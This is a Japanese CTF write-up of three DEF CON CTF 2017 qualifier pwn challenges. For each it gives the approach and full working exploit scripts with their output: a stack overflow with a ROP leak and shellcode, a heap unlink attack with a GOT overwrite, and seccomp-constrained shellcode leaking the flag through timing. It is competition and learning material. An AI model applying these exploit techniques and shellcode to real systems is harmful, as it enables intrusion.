DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup
TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。
TomoriNaoは 126 pts. で 122位 でした。
簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。
解いたのは下の3つです。100点submitを目標にしていたので満足です。
- Baby’s First - smashme (TODO pts.)
- Baby’s First - beatmeonthedl (TODO pts.)
- Potent Pwnables - mute (TODO pts.)
smashme
バイナリの挙動
- BOF(stack smashing)させてくれる
アプローチ
- ROPによりinformation leak
- main呼び出し
- shellcode送信
- shellcode呼び出し
shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。
information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。
リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。
エクスプロイトコード
コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz
from pwn import * from sys import argv BIN = "./smashme" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" # shellcode = "\x48\x89\xEC" + shellcode # mov rsp,rbp shellcode = "\x48\x89\xE5" + shellcode # mov rbp,rsp # shellcode = "\x48\x83\xEC\xf0" + shellcode # sub rsp, N shellcode = "\x48\x83\xC4\x40" + shellcode # sub rsp, N def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True r = None offset = {} if REMOTE: r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348) else: r = process(BIN) prefix = "Smash me outside, how bout dAAAAAAAAAAA" payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7) # payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7) with open("payload", "w") as f: f.write(payload) # if not REMOTE: # exit() # context.log_level = 'debug' # if not REMOTE: # r.sendline("") print r.recvline() # bp() # bss_stdin = 0x6c9748 # bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210 bss_environ = 0x6cb640 # addr_push_rsp_ret = 0x0044611d addr_pop_rdi_ret = 0x00401942 addr_puts = 0x40fca0 addr_main = 0x4009ae rop_chain = [ p64(addr_pop_rdi_ret), p64(bss_environ), # p64(0x4a06d8), p64(addr_puts), p64(addr_main), ] r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain)) # if not REMOTE: # r.sendline("") # r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n") # res = r.recvline().replace('\n', '') res = r.recv(6) addr = u64(res.ljust(8, '\0')) print "addr = %#x" % addr shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20 print "shellcode addr = %#x" % shellcode_addr # r.interactive() r.recvline() bp() payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr) r.sendline(payload) # r.sendline("ls") r.interactive()
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r [+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done Welcome to the Dr. Phil Show. Wanna smash? addr = 0x7fff7dbc8508 shellcode addr = 0x7fff7dbc83b7 [*] Switching to interactive mode Welcome to the Dr. Phil Show. Wanna smash? $ ls flag smashme $ cat flag The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d
beatmeonthedl
バイナリの挙動
- mallocのチャンクへのポインタのテーブルがbssに置かれる
- チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
- チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF)
- コンパイル条件的にGOT Overwrite可能
- スタックが実行可能(wrx)
アプローチ
- Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
- information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
- ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
- 実行可能領域であるスタック(wrx)にshellcodeを書き込む
- GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)
別記★
- 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
- consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる
エクスプロイトコード
from pwn import * from sys import argv from time import sleep BIN = "./beatmeonthedl" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False SOCAT = False if len(argv) > 1: if argv[1] == "r": REMOTE = True if argv[1] == "r": SOCAT = True r = None offset = {} if REMOTE: r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969) elif SOCAT: r = remote("localhost", 6969) else: r = process(BIN) """menu I) Request Exploit. II) Print Requests. III) Delete Request. IV) Change Request. V) Go Away. """ def request(text): r.sendline('1') r.send(text) res = r.recvline() if "[-] Request list full" in res: log.warn(res) r.recvuntil('| ') return False r.recvuntil('| ') return True def print_req(): r.sendline('2') res = r.recvuntil('| ') req = [] for x in res.split('\n'): if len(x) > 1: if x[0] in "0123456789": no, data = x.split(')')[:3] data = data[1:] req.append((no, data)) return req def delete(no): r.sendline('3') r.sendline("%d" % no) # print r.recvuntil('| ') def change(no, text): r.sendline('4') r.sendline("%d" % no) if len(text) > 0x80: log.fatal("too log data") r.recvuntil("data: ") r.send(text) r.recvuntil('| ') patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y' r.sendline(patt[:40]) r.recvuntil("Invalid user: ") res = r.recvline().strip()[-6:] addr = u64(res.ljust(8, '\x00')) log.info("leaked addr = %#x" % addr) mapped_base_addr = (addr - 0x1f000) & ~0xfff if REMOTE and len(argv) == 3: mapped_base_addr += int(argv[2], 16) * 0x1000 log.info("arrange offset = %#x" % int(argv[2], 16)) log.info("mapped_base_addr = %#x" % mapped_base_addr) r.recvuntil('Enter username: ') r.sendline('mcfly') r.recvuntil('Enter Pass: ') r.sendline('awesnap') r.recvuntil('| ') # for i in range(32): # for i in range(4): for i in range(2): # succ = request(chr(97 + i) * (0x80)) succ = request(chr(97 + i) * (0x10)) if not succ: break # list_ptr = 0x609e80 # 0 0x60a030 # 1 0x60a070 # 2 0x60a0b0 # 3 0x60a0f0 print print_req() ### 2 request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode) # context.log_level = 'debug' ### 3 request("c" * 0x10) ### 4 request("d" * 0x10) # mapped_base_addr = 0x00007ffffffde000 ptr_reqlist = 0x609e80 #### reqlist[2] = mapped_base_addr change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) delete(4) log.info("reqlist[2] has overwriten") bp() sleep(1) # context.log_level = 'debug' change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode) log.info("injected shellcode to reqlist[2]") bp() main_addr = 0x40123c heap_base_addr = 0x0060a000 plt_got = {"puts": 0x609958} shellcode_addr = mapped_base_addr log.info("shellcode addr = %#x" % shellcode_addr) assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000) log.info("change(0, ...)") change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) log.info("=== [got overwrite] ===") log.info("delete(1)") bp() r.sendline("3") r.sendline("1") # context.log_level = 'debug' r.interactive()
結果
K_atc% python2 beatmeonthedl.py r [+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done [*] leaked addr = 0x7ffe3b12a4b0 [*] mapped_base_addr = 0x7ffe3b10b000 [('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')] [*] reqlist[2] has overwriten [*] injected shellcode to reqlist[2] [*] shellcode addr = 0x7ffe3b10b000 [*] change(0, ...) [*] === [got overwrite] === [*] delete(1) [*] Switching to interactive mode 0) @\x99` 1) bbbbbbbbbbbbbbbb 2) H\xbf@\xb0\x10;\xfe\x7f 3) x\x9e` choice: $ ls beatmeonthedl flag $ cat flag The flag is: 3asy p33zy h3ap hacking!!
mute
バイナリの挙動
- シェルコードをmappedされた領域に置いて
call rdx
で呼び出してくれる親切設計 - seccompを使用したサンドボックス問
- 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
- パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1) = 0x602010 seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0 read seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0 open seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0 close seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0 stat seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0 fstat seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0 lstat seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0 poll seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0 lseek seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0 mmap seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0 mprotect seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0 mumap seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0 brk seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0 execve seccomp_load(0x602010, 0, 0, 0) = 0
アプローチ
- writeができないので、動作をもとにflagを1ビットずつリークする
- 朝5時にサーバーが空き始めてきれいに解けた!
エクスプロイトコード
アセンブリの通り。
/home/mute/flag
をlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。
from pwn import * from sys import argv import os import struct import time BIN = "./mute" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True READ_OFFSET = "0" BIT_MASK = "0xff" if REMOTE and len(argv) > 2: READ_OFFSET = argv[2] BIT_MASK = argv[3] if not REMOTE and len(argv) > 1: READ_OFFSET = argv[1] BIT_MASK = argv[2] def leak(READ_OFFSET, BIT_MASK): global BIN log.info("READ_OFFSET = " + READ_OFFSET) log.info("BIT_MASK = " + BIT_MASK) r = None offset = {} if REMOTE: r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443) else: r = process(BIN) r.recvline() if REMOTE: LOOP_AMOUNT = "0x10000000" else: LOOP_AMOUNT = "0x100000000" shellcode = asm(""" push 0x0 mov rax, 0x67616c662f657475 push rax mov rax, 0x6d2f656d6f682f2f push rax push rsp pop rdi mov rsi, 0 mov rdx, 0 mov rax, 2 syscall push rax mov rdi, rax mov rsi, READ_OFFSET mov rdx, 0 mov rax, 8 syscall pop rax mov rdi, rax mov rsi, 0x00601100 mov rdx, 1 mov rax, 0 syscall mov rax, [0x00601100] and rax, BIT_MASK cmp rax, 0 jg end mov rax, LOOP_AMOUNT loop: dec rax cmp rax, 0 jne loop end: """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') # bp() # context.log_level = 'debug' start_time = time.time() # r.send(shellcode.ljust(0x1000, "\x90")) for i in range(0x10): r.send(shellcode.ljust(0x100, "\x90")) try: r.recv(0x1000) except EOFError: end_time = time.time() elapsed_time = end_time - start_time log.info("Connection Closed") print "elapsed time = %f" % elapsed_time r.close() return elapsed_time LOG_FILE_NAME = "bit-%d.log" if REMOTE: LOG_FILE_NAME = "r-"+LOG_FILE_NAME else: LOG_FILE_NAME = "l-"+LOG_FILE_NAME f = open(LOG_FILE_NAME % time.time(), "w") for i in range(0x0, 0x90): for j in range(8): elapsed_time = leak(hex(i), hex(1 << j)) f.write("%d, %d, %f\n" % (i, j, elapsed_time)) f.flush() time.sleep(1) f.close()
計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。
data = [] with open("r-bit-1493583250.log") as f: data = f.read().strip().split("\n") with open("r-bit-1493584813.log") as f: data += f.read().strip().split("\n") with open("r-bit-1493585321.log") as f: data += f.read().strip().split("\n") flag = [] for i in range(0x90): flag.append(list("0b00000000")) threthold = 0.5 for x in data: i, j, t = x.split(',') i, j, t = int(i), int(j), float(t) if t < threthold: flag[i][-(j+1)] = "1" buf = "" for i in range(0x90): # print ''.join(flag[i]) d = int(''.join(flag[i]), 2) buf += chr(d & 0xff) print buf
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。
手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。
来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)